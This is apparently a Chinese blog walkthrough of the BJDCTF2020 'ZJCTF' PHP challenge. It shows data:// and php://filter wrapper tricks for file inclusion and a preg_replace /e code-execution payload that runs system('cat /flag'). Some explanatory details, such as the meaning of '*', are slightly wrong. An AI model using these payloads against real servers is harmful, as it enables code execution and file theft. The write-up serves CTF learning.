[BJDCTF2020]ZJCTF,不过如此

打开环境,直接给了源码:

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>

分析代码,GET方式传入两个参数text和file。

text参数用file_get_contents函数读取变量,判断其是否等于"I have a dream",此处看到file_get_contents函数,就应该想到用伪协议绕过,此处可以用data伪协议构造:

?text=data://text/plain,I have a dream

,显示I have a dream,说明绕过成功。

file参数用了一个preg_match进行匹配,如果匹配到flag,就显示Not now!,过滤了flag关键字。然后看到提示有个next.php要包含,就又想到用php伪协议读取next.php的源码,构造

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php


得到字符串:PD9waHAKJGlkID0gJF9HRVRbJ2lkJ107CiRfU0VTU0lPTlsnaWQnXSA9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJlLCAkc3RyKSB7CiAgICByZXR1cm4gcHJlZ19yZXBsYWNlKAogICAgICAgICcvKCcgLiAkcmUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXIoIlxcMSIpJywKICAgICAgICAkc3RyCiAgICApOwp9CgoKZm9yZWFjaCgkX0dFVCBhcyAkcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN0cikuICJcbiI7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsKCRfR0VUWydjbWQnXSk7Cn0K

base64解密得源码:

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

前面得GET传参id没什么用,接着看compex函数,返回中用了preg_replace函数,首先来详细介绍一下这个函数:

preg_replace函数执行一个正则表达式的搜索和替换。

语法:

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

参数:

$pattern: 要搜索的模式,可以是字符串或一个字符串数组。

$replacement: 用于替换的字符串或字符串数组。

$subject: 要搜索替换的目标字符串或字符串数组。

$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。

$count: 可选,为替换执行的次数。

简化后就只有前面三个参数。

返回值

如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串。

如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。

修饰符:

$pattern参数可以有修饰符,修饰符可以改变正则的很多特性,使得正则表达式更加适合你的需要(注意:修饰符对于大小写是敏感的,这意味着"e"并不等于"E")。正则表达式里面的修饰符如下:
i :如果在修饰符中加上"i",则正则将会取消大小写敏感性,即"a"和"A" 是一样的。
m:默认的正则开始"^"和结束"$"只是对于正则字符串如果在修饰符中加上"m",那么开始和结束将会指字符串的每一行:每一行的开头就是"^",结尾就是"$"。
s:如果在修饰符中加入"s",那么默认的"."代表除了换行符以外的任何字符将会变成任意字符,也就是包括换行符!
x:如果加上该修饰符,表达式中的空白字符将会被忽略,除非它已经被转义。
e:本修饰符仅仅对于replacement有用,代表在replacement中作为PHP代码。
A:如果使用这个修饰符,那么表达式必须是匹配的字符串中的开头部分。比如说"/a/A"匹配"abcd"。
E:与"m"相反,如果使用这个修饰符,那么"$"将匹配绝对字符串的结尾,而不是换行符前面,默认就打开了这个模式。
U:和问号的作用差不多,用于设置"贪婪模式"。

本题/e和/i这个两个修饰符,功能如上,preg_replace函数 使用了 /e 模式,将其当作php代码执行,导致可以代码执行漏洞,而且该函数的第一个和第三个参数都是我们可以控制的。然而这里的第二个参数却固定为 'strtolower("\\1")' 字符串,strtolower() 函数把字符串转换为小写。当中的 \\1 实际上就是 \1 ,这是个反向引用,对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。就实际上指定的是第一个子匹配项(第一个括号中的匹配结果),比如前面用括号捕获了一个子匹配,斜杠数字就表示和子匹配一样的内容,第一个子匹配就是\1,第二就是\2。

第一个参数'/(' . $re . ')/ei' 中的$re是下面调用compex产生的,foreach是用来数组遍历的,意思是$re的值为$str,即假设用GET方法传一个index.php?hello=world那么$re=hello,$str=world;即通过调用getFlag()函数就能传入$re,也就能决定匹配的模式,就可以构造:next.php?(\S*)=${getFlag()}&cmd=system('cat /flag');       其中\S代表匹配非空白字符,(这里为什么用的是\S而不是用的(.*),因为php里会把参数名里的特殊字符转为下划线“_”),*表示匹配一个或零个,${getFlag()}是调用getFlag()函数,之所以用{}括起来,因为要避免歧义,除了$$a这样子,还可以${$a}这样子。最后用system函数执行命令。最后相当于:

echo preg_replace('/(\S*)/ei','strtolower("\\1")',getFlag('cmd')); →echo @eval(system('cat /flag');)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Kevin_xiao~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值